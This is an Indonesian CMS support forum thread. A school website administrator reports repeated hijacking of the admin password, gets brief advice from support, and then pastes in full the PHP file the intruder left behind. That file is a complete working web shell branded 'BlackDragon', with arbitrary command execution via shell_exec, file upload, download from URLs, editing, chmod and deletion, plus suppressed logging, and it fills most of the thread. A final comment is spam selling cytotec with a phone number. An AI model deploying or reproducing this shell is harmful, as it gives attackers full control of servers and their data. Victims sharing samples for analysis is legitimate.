Hallo! Selamat Datang di Marketplace produk digital, Freelancer terbaik di indonesia (68994 Members, 788 Products, 4707 Topic, 13106 Comments)

Hecker mengganti password admin

Dibuat
Login Terakhir 18 Hari lalu,
Telah Dilihat 441 Kali
Muhammad rais Mengatakan : Sultan Account
  1. Assalamualaikum Warahmatullahi Wabarakatuh...
  2. Maaf... Di akhir2 ini web sekolah kami (sikolag ci v 2) selalu di hacker dengan mengganti password admin, sehingga kami tidak bisa masuk, apa ada solusi?

Ada 8 Jawaban

Glen Lasut
commented on 21 Mei 2025 17:15:35
  1. Assalamualaikum,..
  2. Saya mengalami masalah yang sama.
PHPMU.COM Support
commented on 23 Mei 2025 10:48:07
  1. Assalamualaikum,.. setelah kita cek itu masuk dari akun kontributor, sebaiknya form pendaftaran kontributor di non aktifkan saja. ikuti ini : https://members.phpmu.com/forum/read/kontributor-agar-tidak-bisa-di-akses
  2.  
  3. NOTE : pastikan CMS nya selalu update ke versi terbaru...
Muhammad rais
commented on 27 Jun 2025 14:11:31
  1. Assalamualaikum,.. Maaf...Saya telah menonaktifkan pendaftaran kontributor tapi tetap saja mengganti pasword admin, mungkin ada cara lain?
Muhammad rais
commented on 27 Jun 2025 14:14:54
  1. Assalamualaikum,.. ini ada file php yang selalu disisakan setelah mengubah password admin, siapa tau bisa di pelajari dan bisa jadi solusi
Muhammad rais
commented on 27 Jun 2025 14:21:20
  1. Assalamualaikum,.. ini isi file php yang disisakan saat merubah password admin saya
  2. <?php null;
  3.  
  4. @ini_set('error_log', 0);
  5. @ini_set('log_errors', 0);
  6. @ini_set('max_execution_time', 0);
  7. @ini_set('output_buffering', 0);
  8. @ini_set('display_errors', 0);
  9.  
  10. function flash($message, $status, $class, $redirect = false) {
  11. if (!empty($_SESSION["message"])) {
  12. unset($_SESSION["message"]);
  13. }
  14. if (!empty($_SESSION["class"])) {
  15. unset($_SESSION["class"]);
  16. }
  17. if (!empty($_SESSION["status"])) {
  18. unset($_SESSION["status"]);
  19. }
  20. $_SESSION["message"] = $message;
  21. $_SESSION["class"] = $class;
  22. $_SESSION["status"] = $status;
  23. if ($redirect) {
  24. header('Location: ' . $redirect);
  25. exit();
  26. }
  27. return true;
  28. }
  29.  
  30. function clear() {
  31. if (!empty($_SESSION["message"])) {
  32. unset($_SESSION["message"]);
  33. }
  34. if (!empty($_SESSION["class"])) {
  35. unset($_SESSION["class"]);
  36. }
  37. if (!empty($_SESSION["status"])) {
  38. unset($_SESSION["status"]);
  39. }
  40. return true;
  41. }
  42.  
  43. function writable($path, $perms){
  44. return (!is_writable($path)) ? "<font color=\"red\">".$perms."</font>" : "<font color=\"lime\">".$perms."</font>";
  45. }
  46.  
  47. function perms($path) {
  48. $perms = fileperms($path);
  49. if (($perms & 0xC000) == 0xC000) {
  50. $info = 's';
  51. } elseif (($perms & 0xA000) == 0xA000) {
  52. $info = 'l';
  53. } elseif (($perms & 0x8000) == 0x8000) {
  54. $info = '-';
  55. } elseif (($perms & 0x6000) == 0x6000) {
  56. $info = 'b';
  57. } elseif (($perms & 0x4000) == 0x4000) {
  58. $info = 'd';
  59. } elseif (($perms & 0x2000) == 0x2000) {
  60. $info = 'c';
  61. } elseif (($perms & 0x1000) == 0x1000) {
  62. $info = 'p';
  63. } else {
  64. $info = 'u';
  65. }
  66.  
  67. $info .= (($perms & 0x0100) ? 'r' : '-');
  68. $info .= (($perms & 0x0080) ? 'w' : '-');
  69. $info .= (($perms & 0x0040) ?
  70. (($perms & 0x0800) ? 's' : 'x' ) :
  71. (($perms & 0x0800) ? 'S' : '-'));
  72.  
  73. $info .= (($perms & 0x0020) ? 'r' : '-');
  74. $info .= (($perms & 0x0010) ? 'w' : '-');
  75. $info .= (($perms & 0x0008) ?
  76. (($perms & 0x0400) ? 's' : 'x' ) :
  77. (($perms & 0x0400) ? 'S' : '-'));
  78.  
  79. $info .= (($perms & 0x0004) ? 'r' : '-');
  80. $info .= (($perms & 0x0002) ? 'w' : '-');
  81. $info .= (($perms & 0x0001) ?
  82. (($perms & 0x0200) ? 't' : 'x' ) :
  83. (($perms & 0x0200) ? 'T' : '-'));
  84.  
  85. return $info;
  86. }
  87.  
  88. function fsize($file) {
  89. $a = ["B", "KB", "MB", "GB", "TB", "PB"];
  90. $pos = 0;
  91. $size = filesize($file);
  92. while ($size >= 1024) {
  93. $size /= 1024;
  94. $pos++;
  95. }
  96. return round($size, 2)." ".$a[$pos];
  97. }
  98.  
  99. if (isset($_GET['dir'])) {
  100. $path = $_GET['dir'];
  101. chdir($_GET['dir']);
  102. } else {
  103. $path = getcwd();
  104. }
  105.  
  106. $path = str_replace('\\', '/', $path);
  107. $exdir = explode('/', $path);
  108.  
  109. function getOwner($item) {
  110. if (function_exists("posix_getpwuid")) {
  111. $downer = @posix_getpwuid(fileowner($item));
  112. $downer = $downer['name'];
  113. } else {
  114. $downer = fileowner($item);
  115. }
  116. if (function_exists("posix_getgrgid")) {
  117. $dgrp = @posix_getgrgid(filegroup($item));
  118. $dgrp = $dgrp['name'];
  119. } else {
  120. $dgrp = filegroup($item);
  121. }
  122. return $downer . '/' . $dgrp;
  123. }
  124.  
  125. if (isset($_POST['newFolderName'])) {
  126. if (mkdir($path . '/' . $_POST['newFolderName'])) {
  127. flash("Create Folder Successfully!", "Success", "success", "?dir=$path");
  128. } else {
  129. flash("Create Folder Failed", "Failed", "error", "?dir=$path");
  130. }
  131. }
  132. if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
  133. if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) {
  134. flash("Create File Successfully!", "Success", "success", "?dir=$path");
  135. } else {
  136. flash("Create File Failed", "Failed", "error", "?dir=$path");
  137. }
  138. }
  139. if (isset($_POST['newName']) && isset($_GET['item'])) {
  140. if ($_POST['newName'] == '') {
  141. flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  142. }
  143. if (rename($path. '/'. $_GET['item'], $_POST['newName'])) {
  144. flash("Rename Successfully!", "Success", "success", "?dir=$path");
  145. } else {
  146. flash("Rename Failed", "Failed", "error", "?dir=$path");
  147. }
  148. }
  149. if (isset($_POST['newContent']) && isset($_GET['item'])) {
  150. if (file_put_contents($path. '/'. $_GET['item'], $_POST['newContent'])) {
  151. flash("Edit Successfully!", "Success", "success", "?dir=$path");
  152. } else {
  153. flash("Edit Failed", "Failed", "error", "?dir=$path");
  154. }
  155. }
  156. if (isset($_POST['newPerm']) && isset($_GET['item'])) {
  157. if ($_POST['newPerm'] == '') {
  158. flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  159. }
  160. if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
  161. flash("Change Permission Successfully!", "Success", "success", "?dir=$path");
  162. } else {
  163. flash("Change Permission", "Failed", "error", "?dir=$path");
  164. }
  165. }
  166. if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
  167. if (is_dir($_GET['item'])) {
  168. if (rmdir($_GET['item'])) {
  169. flash("Delete Successfully!", "Success", "success", "?dir=$path");
  170. } else {
  171. flash("Delete Failed", "Failed", "error", "?dir=$path");
  172. }
  173. } else {
  174. if (unlink($_GET['item'])) {
  175. flash("Delete Successfully!", "Success", "success", "?dir=$path");
  176. } else {
  177. flash("Delete Failed", "Failed", "error", "?dir=$path");
  178. }
  179. }
  180. }
  181.  
  182. if ($_POST['submit']) {
  183. if ($_POST['upl'] == 'current') {
  184. $total = count($_FILES['uploadfile']['name']);
  185. for ($i = 0; $i < $total; $i++) {
  186. $mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
  187. }
  188. if ($total < 2) {
  189. if ($mainupload) {
  190. flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
  191. } else {
  192. flash("Upload Failed", "Failed", "error", "?dir=$path");
  193. }
  194. } else {
  195. if ($mainupload) {
  196. flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
  197. } else {
  198. flash("Upload Failed", "Failed", "error", "?dir=$path");
  199. }
  200. }
  201. } elseif ($_POST['upl'] == 'root') {
  202. $total = count($_FILES['uploadfile']['name']);
  203. for ($i = 0; $i < $total; $i++) {
  204. $mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_SERVER['DOCUMENT_ROOT']."/".$_FILES['uploadfile']['name'][$i]);
  205. }
  206. if ($total < 2) {
  207. if ($mainupload) {
  208. flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
  209. } else {
  210. flash("Upload Failed", "Failed", "error", "?dir=$path");
  211. }
  212. } else {
  213. if ($mainupload) {
  214. flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
  215. } else {
  216. flash("Upload Failed", "Failed", "error", "?dir=$path");
  217. }
  218. }
  219. }
  220. }
  221.  
  222. // Upload from URL
  223. if (isset($_POST['url']) && isset($_POST['filename']) && isset($_POST['method'])) {
  224. $url = $_POST['url'];
  225. $filename = $_POST['filename'];
  226. $destination = $path . '/' . $filename;
  227.  
  228. switch ($_POST['method']) {
  229. case 'file_get_contents':
  230. $data = file_get_contents($url);
  231. if ($data !== false) {
  232. file_put_contents($destination, $data);
  233. flash("File uploaded successfully using file_get_contents!", "Success", "success", "?dir=$path");
  234. } else {
  235. flash("Failed to upload file using file_get_contents", "Failed", "error", "?dir=$path");
  236. }
  237. break;
  238.  
  239. case 'curl':
  240. $ch = curl_init($url);
  241. $fp = fopen($destination, 'wb');
  242. curl_setopt($ch, CURLOPT_FILE, $fp);
  243. curl_setopt($ch, CURLOPT_HEADER, 0);
  244. curl_exec($ch);
  245. if (curl_errno($ch)) {
  246. flash("Failed to upload file using cURL: " . curl_error($ch), "Failed", "error", "?dir=$path");
  247. } else {
  248. flash("File uploaded successfully using cURL!", "Success", "success", "?dir=$path");
  249. }
  250. curl_close($ch);
  251. fclose($fp);
  252. break;
  253.  
  254. case 'fopen':
  255. $stream = fopen($url, 'rb');
  256. if ($stream) {
  257. $contents = stream_get_contents($stream);
  258. fclose($stream);
  259. file_put_contents($destination, $contents);
  260. flash("File uploaded successfully using fopen!", "Success", "success", "?dir=$path");
  261. } else {
  262. flash("Failed to upload file using fopen", "Failed", "error", "?dir=$path");
  263. }
  264. break;
  265.  
  266. case 'copy':
  267. if (copy($url, $destination)) {
  268. flash("File uploaded successfully using copy!", "Success", "success", "?dir=$path");
  269. } else {
  270. flash("Failed to upload file using copy", "Failed", "error", "?dir=$path");
  271. }
  272. break;
  273.  
  274. case 'stream_context':
  275. $context = stream_context_create(['http' => ['method' => 'GET']]);
  276. $data = file_get_contents($url, false, $context);
  277. if ($data !== false) {
  278. file_put_contents($destination, $data);
  279. flash("File uploaded successfully using stream_context!", "Success", "success", "?dir=$path");
  280. } else {
  281. flash("Failed to upload file using stream_context", "Failed", "error", "?dir=$path");
  282. }
  283. break;
  284. }
  285. }
  286.  
  287. $dirs = scandir($path);
  288.  
  289. $d0mains = @file("/etc/named.conf", false);
  290. if (!$d0mains){
  291. $dom = "Cant read /etc/named.conf";
  292. $GLOBALS["need_to_update_header"] = "true";
  293. } else {
  294. $count = 0;
  295. foreach ($d0mains as $d0main){
  296. if (@strstr($d0main, "zone")){
  297. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  298. flush();
  299. if (strlen(trim($domains[1][0])) > 2){
  300. flush();
  301. $count++;
  302. }
  303. }
  304. }
  305. $dom = "$count Domain";
  306. }
  307.  
  308. $ip = !@$_SERVER['SERVER_ADDR'] ? gethostbyname($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'];
  309. $serv = $_SERVER['HTTP_HOST'];
  310. $soft = $_SERVER['SERVER_SOFTWARE'];
  311. $uname = php_uname();
  312.  
  313. ?>
  314. <html>
  315. <head>
  316. <meta charset="utf-8">
  317. <meta name="viewport" content="width=device-width, initial-scale=1">
  318. <meta name="robots" content="noindex, nofollow">
  319. <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
  320. <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
  321. <title><?= $serv; ?> - BlackDragon</title>
  322. </head>
  323. <body class="bg-dark text-light">
  324. <div class="container-fluid">
  325. <div class="py-3" id="main">
  326. <div class="box shadow bg-dark p-4 rounded-3">
  327. <div class="info mb-3">
  328. <i class="fa fa-server"></i> <?= $uname; ?><br>
  329. <i class="fa fa-microchip"></i> <?= $soft; ?><br>
  330. <i class="fa fa-satellite-dish"></i> <?= $ip; ?><br>
  331. <i class="fa fa-fingerprint"></i> <?= $dom; ?>
  332. </div>
  333. <div class="breadcrumb">
  334. <i class="fa fa fa-folder pt-1"></i> <?php foreach ($exdir as $id => $pat) : if ($pat == '' && $id == 0):?>
  335. <a href="?dir=/" class="text-decoration-none text-light">/</a>
  336. <?php endif; if ($pat == '') continue; ?>
  337. <a href="?dir=<?php for ($i = 0; $i <= $id; $i++) {echo "$exdir[$i]";if ($i != $id) echo "/";}?>" class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span>
  338. <?php endforeach; ?>
  339.   [ <?php echo writable($path, perms($path)) ?> ]
  340. <div class="row">
  341. <a href="?" class="text-decoration-none text-light">  [ HOME ]</a>
  342. </div>
  343. </div>
  344. <div class="d-flex justify-content-between">
  345. <div class="p-2">
  346. <form action="" method="post">
  347. <label for="name" class="form-label">Console</label>
  348. <div class="row">
  349. <div class="col-md-9 mb-3">
  350. <input type="text" class="form-control form-control-sm" name="bdcmd" placeholder="whoami">
  351. </div>
  352. <div class="col-md-3">
  353. <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
  354. </div>
  355. </div>
  356. </form>
  357. </div>
  358. <div class="p-2">
  359. <form action="" method="post" enctype="multipart/form-data">
  360. <input class="form-check-input" type="radio" id="flexRadioDefault1" name="upl" value="current" checked>
  361. <label class="form-label">Current Dir </label>
  362. <input class="form-check-input" type="radio" id="flexRadioDefault2" name="upl" value="root">
  363. <label class="form-label">Root Dir</label>
  364. <div class="row">
  365. <div class="col-md-9 mb-3">
  366. <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
  367. </div>
  368. <div class="col-md-3">
  369. <input type='submit' class="btn btn-outline-light btn-sm" value='Submit' name='submit'>
  370. </div>
  371. </div>
  372. </form>
  373. </div>
  374. </div>
  375. <div class="container" id="tools">
  376. <div class="collapse" id="uploadUrlCollapse" data-bs-parent="#tools" style="transition:none;">
  377. <form action="" method="post">
  378. <div class="mb-3">
  379. <label for="url" class="form-label">URL to Upload</label>
  380. <input type="text" class="form-control" name="url" placeholder="Enter URL here" required>
  381. </div>
  382. <div class="mb-3">
  383. <label for="filename" class="form-label">File Name</label>
  384. <input type="text" class="form-control" name="filename" placeholder="Enter file name" required>
  385. </div>
  386. <div class="mb-3">
  387. <label for="method" class="form-label">Upload Method</label>
  388. <select class="form-select" name="method" required>
  389. <option value="file_get_contents">file_get_contents</option>
  390. <option value="curl">cURL</option>
  391. <option value="fopen">fopen</option>
  392. <option value="copy">copy</option>
  393. <option value="stream_context">stream_context</option>
  394. </select>
  395. </div>
  396. <button type="submit" class="btn btn-outline-light">Upload</button>
  397. </form>
  398. </div>
  399. <a data-bs-toggle="collapse" href="#uploadUrlCollapse" role="button" aria-expanded="false" aria-controls="uploadUrlCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-link"></i> Upload from URL</a>
  400.  
  401. <?php if (isset($_POST['bdcmd'])) : ?>
  402. <div class="p-2">
  403. <div class="row justify-content-center">
  404. <div class='card text-dark mb-3'>
  405. <pre><?php echo $ip."@".$serv.": ~$ "; $cmd = $_POST['bdcmd']; echo $cmd."<br>";?><br><code><?php if(function_exists('shell_exec')){ echo shell_exec($cmd.' 2>&1'); } else { echo "Disable Function"; }?></code></pre>
  406. </div>
  407. </div>
  408. </div>
  409. <?php endif; ?>
  410. <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
  411. <div class="row justify-content-center">
  412. <?php if ($action == 'rename' && isset($_GET['item'])) : ?>
  413. <form action="" method="post">
  414. <div class="mb-3">
  415. <label for="name" class="form-label">New Name</label>
  416. <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>">
  417. </div>
  418. <button type="submit" class="btn btn-outline-light">Submit</button>
  419. <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  420. </form>
  421. <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
  422. <form action="" method="post">
  423. <div class="mb-3">
  424. <label for="name" class="form-label"><?= $_GET['item'] ?></label>
  425. <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= htmlspecialchars(file_get_contents($path. '/'. $_GET['item'])) ?></textarea>
  426. </div>
  427. <button type="submit" class="btn btn-outline-light">Submit</button>
  428. <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button>
  429. <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  430. </form>
  431. <?php elseif ($action == 'view' && isset($_GET['item'])) : ?>
  432. <div class="mb-3">
  433. <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label>
  434. <textarea name="newContent" rows="10" class="form-control" disabled=""><?= htmlspecialchars(file_get_contents($path. '/'. $_GET['item'])) ?></textarea>
  435. <br>
  436. <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  437. </div>
  438. <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?>
  439. <form action="" method="post">
  440. <div class="mb-3">
  441. <label for="name" class="form-label"><?= $_GET['item'] ?></label>
  442. <input type="text" class="form-control" name="newPerm" value="<?= substr(sprintf('%o', fileperms($_GET['item'])), -4); ?>">
  443. </div>
  444. <button type="submit" class="btn btn-outline-light">Submit</button>
  445. <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
  446. </form>
  447. <?php endif; ?>
  448. </div>
  449. <?php endif; ?>
  450. <div class="row justify-content-center">
  451. <div class="collapse" id="newFolderCollapse" data-bs-parent="#tools" style="transition:none;">
  452. <form action="" method="post">
  453. <div class="mb-3">
  454. <label for="name" class="form-label">Folder Name</label>
  455. <input type="text" class="form-control" name="newFolderName" placeholder="BlackDragon">
  456. </div>
  457. <button type="submit" class="btn btn-outline-light">Submit</button>
  458. </form>
  459. </div>
  460. <div class="collapse" id="newFileCollapse" data-bs-parent="#tools" style="transition:none;">
  461. <form action="" method="post">
  462. <div class="mb-3">
  463. <label for="name" class="form-label">File Name</label>
  464. <input type="text" class="form-control" name="newFileName" placeholder="blackdragon.php">
  465. </div>
  466. <div class="mb-3">
  467. <label for="name" class="form-label">File Content</label>
  468. <textarea name="newFileContent" rows="10" class="form-control" placeholder="Hello World - BlackDragon"></textarea>
  469. </div>
  470. <button type="submit" class="btn btn-outline-light">Submit</button>
  471. </form>
  472. </div>
  473. </div>
  474. </div>
  475. <div class="table-responsive">
  476. <table class="table table-hover table-dark text-light">
  477. <thead>
  478. <tr>
  479. <td style="width:35%">Name</td>
  480. <td style="width:10%">Type</td>
  481. <td style="width:10%">Size</td>
  482. <td style="width:13%">Owner/Group</td>
  483. <td style="width:10%">Permission</td>
  484. <td style="width:13%">Last Modified</td>
  485. <td style="width:9%">Actions</td>
  486. </tr>
  487. </thead>
  488. <tbody class="text-nowrap">
  489. <?php
  490. foreach ($dirs as $dir) :
  491. if (!is_dir($dir)) continue;
  492. ?>
  493. <tr>
  494. <td>
  495. <?php if ($dir === '..') : ?>
  496. <a href="?dir=<?= dirname($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
  497. <?php elseif ($dir === '.') : ?>
  498. <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
  499. <?php else : ?>
  500. <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a>
  501. <?php endif; ?>
  502. </td>
  503. <td class="text-light"><?= filetype($dir) ?></td>
  504. <td class="text-light">-</td>
  505. <td class="text-light"><?= getOwner($dir) ?></td>
  506. <td class="text-light">
  507. <?php
  508. if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
  509. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  510. echo perms($path.'/'.$dir);
  511. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
  512. ?>
  513. </td>
  514. <td class="text-light"><?= date("Y-m-d h:i:s", filemtime($dir)); ?></td>
  515. <td>
  516. <?php if ($dir != '.' && $dir != '..') : ?>
  517. <div class="btn-group">
  518. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
  519. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
  520. <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
  521. </div>
  522. <?php elseif ($dir === '.') : ?>
  523. <div class="btn-group">
  524. <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-folder-plus"></i></a>
  525. <a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-plus"></i></a>
  526. </div>
  527. <?php endif; ?>
  528. </td>
  529. </tr>
  530. <?php endforeach; ?>
  531. <?php
  532. foreach ($dirs as $dir) :
  533. if (!is_file($dir)) continue;
  534. ?>
  535. <tr>
  536. <td>
  537. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a>
  538. </td>
  539. <td class="text-light"><?= (function_exists('mime_content_type') ? mime_content_type($dir) : filetype($dir)) ?></td>
  540. <td class="text-light"><?= fsize($dir) ?></td>
  541. <td class="text-light"><?= getOwner($dir) ?></td>
  542. <td class="text-light">
  543. <?php
  544. if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
  545. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  546. echo perms($path.'/'.$dir);
  547. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
  548. ?>
  549. </td>
  550. <td class="text-light"><?= date("Y-m-d h:i:s", filemtime($dir)); ?></td>
  551. <td>
  552. <?php if ($dir != '.' && $dir != '..') : ?>
  553. <div class="btn-group">
  554. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-edit"></i></a>
  555. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
  556. <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
  557. <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
  558. </div>
  559. <?php endif; ?>
  560. </td>
  561. </tr>
  562. <?php endforeach; ?>
  563. </tbody>
  564. </table>
  565. </div>
  566. <div class="text-light">© BlackDragon <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div>
  567. </div>
  568. </div>
  569. </div>
  570. <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
  571. <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script>
  572. <script>
  573. <?php if (isset($_SESSION['message'])) : ?>
  574. Swal.fire(
  575. '<?= $_SESSION['status'] ?>',
  576. '<?= $_SESSION['message'] ?>',
  577. '<?= $_SESSION['class'] ?>'
  578. )
  579. <?php endif; clear(); ?>
  580. function deleteConfirm(url) {
  581. event.preventDefault()
  582. Swal.fire({
  583. title: 'Are you sure?',
  584. icon: 'warning',
  585. showCancelButton: true,
  586. confirmButtonColor: '#3085d6',
  587. cancelButtonColor: '#d33',
  588. confirmButtonText: 'Yes, delete it!'
  589. }).then((result) => {
  590. if (result.isConfirmed) {
  591. window.location.href = url
  592. }
  593. })
  594. }
  595. function jscopy() {
  596. var jsCopy = document.getElementById("CopyFromTextArea");
  597. jsCopy.focus();
  598. jsCopy.select();
  599. document.execCommand("copy");
  600. }
  601. </script>
  602. </body>
  603. </html>
Muhammad rais
commented on 27 Jun 2025 14:33:05
  1. Assalamualaikum,.. dan fungsi dari file php ini adalah untuk melihat dan mengelolah semua isi folder dalam cpanel yng kita miliki
Indah Putri
commented on 05 Jul 2025 22:41:56
  1. Assalamu'alaikum
Indah Putri
commented on 05 Jul 2025 22:42:52
  1. Ciri ciri obat cytotec asli dan palsu 082138593792
Maaf, Untuk Memberikan Komentar Anda Harus Login !!!

Online